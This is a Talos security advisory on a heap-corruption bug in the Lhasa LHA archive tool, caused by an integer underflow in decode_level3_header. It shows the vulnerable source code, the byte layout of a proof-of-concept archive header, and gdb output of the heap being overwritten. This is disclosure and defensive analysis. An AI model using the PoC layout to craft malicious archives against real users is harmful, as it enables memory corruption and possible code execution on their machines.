Lucene search

K
talosTalos IntelligenceTALOS-2016-0095
HistoryMar 31, 2016 - 12:00 a.m.

Lhasa lha decode_level3_header Heap Corruption Vulnerability

2016-03-3100:00:00
Talos Intelligence
www.talosintelligence.com
21

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

0.004 Low

EPSS

Percentile

74.7%

SUMMARY

An exploitable integer underflow exists during calculation size for all headers in decode_level3_header function of Lhasa (lha) application. Smaller value of header_len than LEVEL_3_HEADER_LEN ( 32 ) cause during subtraction integer underflow and lead later to memory corruption via heap based buffer overflow.

TESTED VERSIONS

Lhasa v0.3.0 command line LHA tool - Copyright Β© 2011,2012 Simon Howard
Lhasa v0.0.7 command line LHA tool - Copyright Β© 2011,2012 Simon Howard

PRODUCT URLS

https://github.com/fragglet/lhasa

DETAILS

Code analysis:

lib\lha_file_header.c

Line 772  static int decode_level3_header(LHAFileHeader **header, LHAInputStream *stream)
Line 773  {
Line 774    unsigned int header_len;
Line 775
Line 776    // The first field at the start of a level 3 header is supposed to
Line 777    // indicate word size, with the idea being that the header format
Line 778    // can be extended beyond 32-bit words in the future. In practise,
Line 779    // nothing supports anything other than 32-bit (4 bytes), and neither
Line 780    // do we.
Line 781
Line 782    if (lha_decode_uint16(&RAW_DATA(header, 0)) != 4) {
Line 783      return 0;
Line 784    }
Line 785
Line 786    // Read the full header.
Line 787
Line 788    if (!extend_raw_data(header, stream,
Line 789               LEVEL_3_HEADER_LEN - RAW_DATA_LEN(header))) {
Line 790      return 0;
Line 791    }
Line 792
Line 793    // Read the header length field (including extended headers), and
Line 794    // extend to this full length. Because this is a 32-bit value,
Line 795    // we must place a sensible limit on the amount of data that will
Line 796    // be read, to avoid possibly allocating gigabytes of memory.
Line 797
Line 798    header_len = lha_decode_uint32(&RAW_DATA(header, 24));
Line 799
Line 800    if (header_len > LEVEL_3_MAX_HEADER_LEN) {
Line 801      return 0;
Line 802    }
Line 803
Line 804    if (!extend_raw_data(header, stream,
Line 805               header_len - RAW_DATA_LEN(header))) {
Line 806      return 0;
Line 807    }

header_len from line 798 is fully controllable 32bit value represents total size of headers (header + extended headers). Because its value is only check to not exceed LEVEL_3_MAX_HEADER_LEN in line 804 for header_len values smaller than LEVEL_3_HEADER_LEN ( 32 ) integer underflow will occur with significant consequences for further code execution. For all header_len values in range <0;32) result of this subtraction from line 789 will be close to UINT_MAX.

Next we land inside :

Line 346  static uint8_t *extend_raw_data(LHAFileHeader **header,
Line 347                  LHAInputStream *stream,
Line 348                  size_t nbytes)
Line 349  {
Line 350    LHAFileHeader *new_header;
Line 351    size_t new_raw_len;
Line 352    uint8_t *result;
Line 353
Line 354    // Reallocate the header and raw_data area to be larger.
Line 355
Line 356    new_raw_len = RAW_DATA_LEN(header) + nbytes;
Line 357    new_header = realloc(*header, sizeof(LHAFileHeader) + new_raw_len);
Line 358
Line 359    if (new_header == NULL) {
Line 360      return NULL;
Line 361    }
Line 362
Line 363    // Update the header pointer to point to the new area.
Line 364
Line 365    *header = new_header;
Line 366    new_header-&gt;raw_data = (uint8_t *) (new_header + 1);
Line 367    result = new_header-&gt;raw_data + new_header-&gt;raw_data_len;
Line 368
Line 369    // Read data from stream into new area.
Line 370
Line 371    if (!lha_input_stream_read(stream, result, nbytes)) {
Line 372      return NULL;
Line 373    }

Here the result of mentioned above subtraction is of course nbytes argument.

First problem starts in Line 357, when header_len for e.g equal 0 new_raw_len will equal 0 and realloc instead of increase β€œheader” memory area going to decrees its size.

In consequences β€œresult” pointer will point on released memory.

Heap based buffer overflow appears in Line 371 where to β€œresult” buffer is readed β€œnbytes” (~UINT_MAX) directly from file.

Attacker controlling length and content of file can fully controllable overwrite heap with specified content.

File format based on attached PoC:

04 00         - header size
2D 6C 68 37 2D    - compression method
21 00 00 01     - compressed_length 
2E 00 00 00     - file length   
92 91 85 40     - unix timestamp
20          - reserved
03          - level
41 41         - CRC
41          - Os ID
00 00 00 00     - extensions headers length

CRASH ANALYSIS

Lets see this in gdb:

python sys.path.append('/home/icewall/tools/gdb-heap')
python import gdbheap

// Read data from stream into new area.

EIP-&gt; if (!lha_input_stream_read(stream, result, nbytes)) {
  return NULL;
}

heap used
Used chunks of memory on heap
-----------------------------
 0: 0x0000000000615010 -&gt; 0x000000000061524f      576 bytes uncategorized::576 bytes |.$......$P.....DT......P.....|
 1: 0x0000000000615250 -&gt; 0x000000000061528f       64 bytes uncategorized::64 bytes |[email protected]!....|
 2: 0x0000000000615290 -&gt; 0x00000000006152df       80 bytes uncategorized::80 bytes |.Ra.............................|
 3: 0x00000000006152e0 -&gt; 0x000000000061530f       48 bytes   C:string data:None |PRa.............................|
 4: 0x0000000000615310 -&gt; 0x00000000006153bf      176 bytes uncategorized::176 bytes |................................|
 5: 0x00000000006153c0 -&gt; 0x00000000006153df       32 bytes uncategorized::32 bytes |............AAAA........1.......|

p result

$2 = (uint8_t *) 0x6153d0 ""

heap all

All chunks of memory on heap (both used and free)
-------------------------------------------------

0: 0x0000000000615000 -&gt; 0x000000000061523f  inuse: 576 bytes (&lt;MChunkPtr chunk=0x615000 mem=0x615010 PREV_INUSE inuse       chunksize=576 memsize=560&gt;)

1: 0x0000000000615240 -&gt; 0x000000000061527f  inuse: 64 bytes (&lt;MChunkPtr chunk=0x615240 mem=0x615250 PREV_INUSE inuse chunksize=64 memsize=48&gt;)

2: 0x0000000000615280 -&gt; 0x00000000006152cf  inuse: 80 bytes (&lt;MChunkPtr chunk=0x615280 mem=0x615290 PREV_INUSE inuse chunksize=80 memsize=64&gt;)

3: 0x00000000006152d0 -&gt; 0x00000000006152ff  inuse: 48 bytes (&lt;MChunkPtr chunk=0x6152d0 mem=0x6152e0 PREV_INUSE inuse chunksize=48 memsize=32&gt;)

4: 0x0000000000615300 -&gt; 0x00000000006153af  inuse: 176 bytes (&lt;MChunkPtr chunk=0x615300 mem=0x615310 PREV_INUSE inuse chunksize=176 memsize=160&gt;)

5: 0x00000000006153b0 -&gt; 0x00000000006153cf  inuse: 32 bytes (&lt;MChunkPtr chunk=0x6153b0 mem=0x6153c0 PREV_INUSE inuse chunksize=32 memsize=16&gt;)

p header
$3 = (LHAFileHeader **) 0x7fffffffdcd8
p *header
$4 = (LHAFileHeader *) 0x615310
p result
$5 = (uint8_t *) 0x6153d0 ""
heap all

All chunks of memory on heap (both used and free)
-------------------------------------------------

0: 0x0000000000615000 -&gt; 0x000000000061523f  inuse: 576 bytes (&lt;MChunkPtr chunk=0x615000 mem=0x615010 PREV_INUSE inuse       chunksize=576 memsize=560&gt;)

1: 0x0000000000615240 -&gt; 0x000000000061527f  inuse: 64 bytes (&lt;MChunkPtr chunk=0x615240 mem=0x615250 PREV_INUSE inuse   chunksize=64 memsize=48&gt;)

2: 0x0000000000615280 -&gt; 0x00000000006152cf  inuse: 80 bytes (&lt;MChunkPtr chunk=0x615280 mem=0x615290 PREV_INUSE inuse chunksize=80 memsize=64&gt;)

3: 0x00000000006152d0 -&gt; 0x00000000006152ff  inuse: 48 bytes (&lt;MChunkPtr chunk=0x6152d0 mem=0x6152e0 PREV_INUSE inuse chunksize=48 memsize=32&gt;)

4: 0x0000000000615300 -&gt; 0x00000000006153af  inuse: 176 bytes (&lt;MChunkPtr chunk=0x615300 mem=0x615310 PREV_INUSE inuse chunksize=176 memsize=160&gt;)

5: 0x00000000006153b0 -&gt; 0x00000000006153cf  inuse: 32 bytes (&lt;MChunkPtr chunk=0x6153b0 mem=0x6153c0 PREV_INUSE inuse   chunksize=32 memsize=16&gt;)

heap free

Free chunks of memory on heap
-----------------------------

top
0: 0x00000000006153e0 -&gt; 0x000000000063600f   134192 bytes uncategorized::134192 bytes |................................|

fastbin 0
1: 0x00000000006153c0 -&gt; 0x00000000006153df       32 bytes uncategorized::32 bytes |............AAAA........1.......|

fastbin 1
fastbin 2
fastbin 3

x/10 result
0x6153d0: 0x00000000  0x00000000  0x00020c31  0x00000000
0x6153e0: 0x00000000  0x00000000  0x00000000  0x00000000
0x6153f0: 0x00000000  0x00000000  0x00000000  0x00000000
0x615400: 0x00000000  0x00000000  0x00000000  0x00000000
0x615410: 0x00000000  0x00000000  0x00000000  0x00000000
0x615420: 0x00000000  0x00000000  0x00000000  0x00000000
0x615430: 0x00000000  0x00000000  0x00000000  0x00000000

n (make step ) - trigger read from file and !!!! BUFFER OVERFLOW !!!!
heap free

Free chunks of memory on heap
-----------------------------

top
0: 0x00000000006153e0 -&gt; 0x4141414141a2951f 4702111234474983744 bytes   C:string data:None    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|

fastbin 0
1: 0x00000000006153c0 -&gt; 0x00000000006153df       32 bytes uncategorized::32 bytes |............AAAAAAAAAAAAAAAAAAAA|

fastbin 1
fastbin 2
fastbin 3
fastbin 4
fastbin 5

Total size: 4702111234474983776

r - run app

Starting program: /home/icewall/bugs/lhasa/bin/lha -xfw=/tmp /home/icewall/tools/afl-    1.94b/out/crashes/id:000001,sig:11,src:002462,op:havoc,rep:2

Program received signal SIGSEGV, Segmentation fault.

0x00007ffff7a9412f in _int_free (av=0x7ffff7dd3760 &lt;main_arena&gt;, p=&lt;optimized out&gt;, have_lock=0) at malloc.c:3996

3996  malloc.c: No such file or directory.
(gdb) bt

#0  0x00007ffff7a9412f in _int_free (av=0x7ffff7dd3760 &lt;main_arena&gt;, p=&lt;optimized out&gt;, have_lock=0) at malloc.c:3996

#1  0x000000000040742b in lha_file_header_free (header=0x615310) at lha_file_header.c:1069
#2  0x0000000000407395 in lha_file_header_read (stream=0x615250) at lha_file_header.c:1044
#3  0x000000000040756f in lha_basic_reader_next_file (reader=0x6152e0) at lha_basic_reader.c:90
#4  0x000000000040478d in lha_reader_next_file (reader=0x615290) at lha_reader.c:310
#5  0x0000000000401c63 in lha_filter_next_file (filter=0x7fffffffde10) at filter.c:132
#6  0x00000000004035da in extract_archive (filter=0x7fffffffde10, options=0x7fffffffde60) at extract.c:588
#7  0x00000000004016fc in do_command (mode=MODE_EXTRACT,
filename=0x7fffffffe2fd "/home/icewall/tools/afl-1.94b/out/crashes/id:000001,sig:11,src:002462,op:havoc,rep:2", options=0x7fffffffde60,

filters=0x7fffffffdf80, num_filters=0) at main.c:102
#8  0x00000000004019da in main (argc=3, argv=0x7fffffffdf68) at main.c:266

REFERENCES

  1. http://www.onicos.com/staff/iz/formats/lzh.html

TIMELINE

2016-02-16 - Vendor Notification 2016-03-31 - Public Disclosure

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

0.004 Low

EPSS

Percentile

74.7%